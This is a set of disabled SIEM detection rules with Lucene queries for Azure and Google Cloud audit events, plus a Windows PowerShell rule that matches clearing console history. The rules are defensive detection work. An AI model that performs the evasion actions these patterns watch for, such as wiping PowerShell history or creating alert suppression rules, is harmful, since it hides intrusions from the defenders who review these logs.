{"description": "Identifies when a device in azure is no longer managed or compliant", "enabled": false, "false_positives": ["Administrator may have forgotten to review the device."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "746eb5a8-1af1-38a1-f611-2eea19e4d796", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Device No Longer Managed or Compliant", "query": "properties.message:(\"Device\\ no\\ longer\\ compliant\" OR \"Device\\ no\\ longer\\ managed\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a device or device configuration in azure is modified or deleted.", "enabled": false, "false_positives": ["Device or device configuration being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "acd79462-8b42-969e-e699-1b2c9fd00a36", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Device or Configuration Modified or Deleted", "query": "properties.message:(\"Delete\\ device\" OR \"Delete\\ device\\ configuration\" OR \"Update\\ device\" OR \"Update\\ device\\ configuration\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d5a9e67c-7831-c577-483e-2002422c71a0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud DNS Zone Modified or Deleted", "query": "gcp.audit.method_name:(\"Dns.ManagedZones.Delete\" OR \"Dns.ManagedZones.Update\" OR \"Dns.ManagedZones.Patch\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a firewall is created, modified, or deleted.", "enabled": false, "false_positives": ["Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8ed85819-6101-39a0-9aee-24089a6113b0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Firewall Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Firewall Policy is Modified or Deleted.", "enabled": false, "false_positives": ["Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "15d36c82-21aa-3fb3-eb2b-7098a9259aa1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Network Firewall Policy Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/WRITE\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/JOIN\\/ACTION\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/CERTIFICATES\\/ACTION\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", "enabled": false, "false_positives": ["Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "95c80421-bc3d-0c8b-b3a8-133d44cbc76e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Firewall Rule Configuration Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/RULECOLLECTIONGROUPS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/RULECOLLECTIONGROUPS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/RULEGROUPS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/FIREWALLPOLICIES\\/RULEGROUPS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.", "enabled": false, "false_positives": ["Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "27c414d5-a2e9-5f3c-fb9e-ced22d35d957", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Kubernetes CronJob", "query": "gcp.audit.method_name:(io.k8s.api.batch.v*.Job OR io.k8s.api.batch.v*.CronJob)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a key vault is modified or deleted.", "enabled": false, "false_positives": ["Key Vault being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "46d8c3c1-4b0f-099e-22cf-adaa76d9f1ce", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Key Vault Modified or Deleted", "query": "properties.message:(\"MICROSOFT.KEYVAULT\\/VAULTS\\/WRITE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/DELETE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/DEPLOY\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/ACCESSPOLICIES\\/WRITE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Keyvault Key is modified or deleted in Azure.", "enabled": false, "false_positives": ["Key being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9cba4e0d-2a3d-e2c7-57f3-7df1b06b0ea0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Keyvault Key Modified or Deleted", "query": "properties.message:(\"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/UPDATE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/CREATE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/CREATE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/IMPORT\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/RECOVER\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/RESTORE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/DELETE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/BACKUP\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/KEYS\\/PURGE\\/ACTION\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", "enabled": false, "false_positives": ["Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9edd2bd7-56ff-5aa2-df0a-6cd6f9fbd111", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Secret or Config Object Access", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/CONFIGMAPS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/CONFIGMAPS\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/SECRETS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/SECRETS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a network security configuration is modified or deleted.", "enabled": false, "false_positives": ["Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e2bb95ef-f993-72ca-cd1f-ff2afee474db", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Network Security Configuration Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/SECURITYRULES\\/WRITE\" OR \"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/SECURITYRULES\\/DELETE\" OR \"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/JOIN\\/ACTION\" OR \"MICROSOFT.NETWORK\\/NETWORKSECURITYGROUPS\\/PROVIDERS\\/MICROSOFT.INSIGHTS\\/DIAGNOSTICSETTINGS\\/WRITE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a new cloudshell is created inside of Azure portal.", "enabled": false, "false_positives": ["A new cloudshell may be created by a system administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "af30c1e1-9a92-262c-2aa8-2e036c9ed145", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure New CloudShell Created", "query": "properties.message:\"MICROSOFT.PORTAL\\/CONSOLES\\/WRITE\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when a owner is was removed from a application or service principal in Azure.", "enabled": false, "false_positives": ["Owner being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a402971c-65e1-3ddd-1713-351a4ab35d71", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Owner Removed From Application or Service Principal", "query": "properties.message:(\"Remove\\ owner\\ from\\ service\\ principal\" OR \"Remove\\ owner\\ from\\ application\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Point-to-site VPN is Modified or Deleted.", "enabled": false, "false_positives": ["Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "71d8ad97-20d4-cbbf-8dc2-260ed743e959", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Point-to-site VPN Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/RESET\\/ACTION\" OR \"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/GENERATEVPNPROFILE\\/ACTION\" OR \"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/DISCONNECTP2SVPNCONNECTIONS\\/ACTION\" OR \"MICROSOFT.NETWORK\\/P2SVPNGATEWAYS\\/PROVIDERS\\/MICROSOFT.INSIGHTS\\/DIAGNOSTICSETTINGS\\/WRITE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a service account is disabled or deleted in Google Cloud.", "enabled": false, "false_positives": ["Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e6c35892-d9cf-728f-f6df-648fb4d9589a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Service Account Disabled or Deleted", "query": "gcp.audit.method_name:(*.serviceAccounts.disable OR *.serviceAccounts.delete)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1531"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1531", "name": "Account Access Removal", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a service account is modified in Google Cloud.", "enabled": false, "false_positives": ["Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9ba819a8-b4d9-aa26-42fe-9e11d113cc56", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Service Account Modified", "query": "gcp.audit.method_name:(*.serviceAccounts.patch OR *.serviceAccounts.create OR *.serviceAccounts.update OR *.serviceAccounts.enable OR *.serviceAccounts.undelete)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a service account is modified or deleted.", "enabled": false, "false_positives": ["Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8b3ed6ad-2736-fe4d-4778-c0bdcdd007ac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Service Account Modified or Deleted", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/SERVICEACCOUNTS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/SERVICEACCOUNTS\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/SERVICEACCOUNTS\\/IMPERSONATE\\/ACTION\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a service principal is created in Azure.", "enabled": false, "false_positives": ["Service principal being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8921e5c8-855b-52c1-d6e1-82b2d720482a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Service Principal Created", "query": "properties.message:\"Add\\ service\\ principal\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a service principal was removed in Azure.", "enabled": false, "false_positives": ["Service principal being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c0a657e2-e2be-b935-2506-0214b32dbadb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Service Principal Removed", "query": "properties.message:\"Remove\\ service\\ principal\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", "enabled": false, "false_positives": ["Suppression Rule being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0dc5c167-e8f6-1190-ce0c-28c8b171271c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Suppression Rule Created", "query": "properties.message:\"MICROSOFT.SECURITY\\/ALERTSSUPPRESSIONRULES\\/WRITE\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0156560b-01ae-9e05-728d-71b8b107331f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Clearing Windows Console History", "query": "(powershell.file.script_block_text:*Clear\\-History* OR (powershell.file.script_block_text:(*Remove\\-Item* OR *rm*) AND powershell.file.script_block_text:(*ConsoleHost_history.txt* OR *\$Get\\-PSReadlineOption\$.HistorySavePath*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.", "enabled": false, "false_positives": ["Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d2c8f697-48bf-5e84-9ff1-2d6505fc9839", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Virtual Network Device Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/NETWORKINTERFACES\\/TAPCONFIGURATIONS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/NETWORKINTERFACES\\/TAPCONFIGURATIONS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/NETWORKINTERFACES\\/WRITE\" OR \"MICROSOFT.NETWORK\\/NETWORKINTERFACES\\/JOIN\\/ACTION\" OR \"MICROSOFT.NETWORK\\/NETWORKINTERFACES\\/DELETE\" OR \"MICROSOFT.NETWORK\\/NETWORKVIRTUALAPPLIANCES\\/DELETE\" OR \"MICROSOFT.NETWORK\\/NETWORKVIRTUALAPPLIANCES\\/WRITE\" OR \"MICROSOFT.NETWORK\\/VIRTUALHUBS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/VIRTUALHUBS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/VIRTUALROUTERS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/VIRTUALROUTERS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a Virtual Network is modified or deleted in Azure.", "enabled": false, "false_positives": ["Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4c0df2a0-491a-ae20-a6d9-b2f934127023", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Virtual Network Modified or Deleted", "query": "(properties.message:(MICROSOFT.NETWORK\\/VIRTUALNETWORKGATEWAYS\\/* OR MICROSOFT.NETWORK\\/VIRTUALNETWORKS\\/*) AND properties.message:(*\\/WRITE OR *\\/DELETE))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a VPN connection is modified or deleted.", "enabled": false, "false_positives": ["VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1dc0d826-a616-54d4-5175-6ef83723bb4f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure VPN Connection Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/VPNGATEWAYS\\/VPNCONNECTIONS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/VPNGATEWAYS\\/VPNCONNECTIONS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", "enabled": false, "false_positives": ["VPN Tunnel being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f647bd41-c7ee-efd7-343a-2d5a0d7efcdc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud VPN Tunnel Modified or Deleted", "query": "gcp.audit.method_name:(\"compute.vpnTunnels.insert\" OR \"compute.vpnTunnels.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
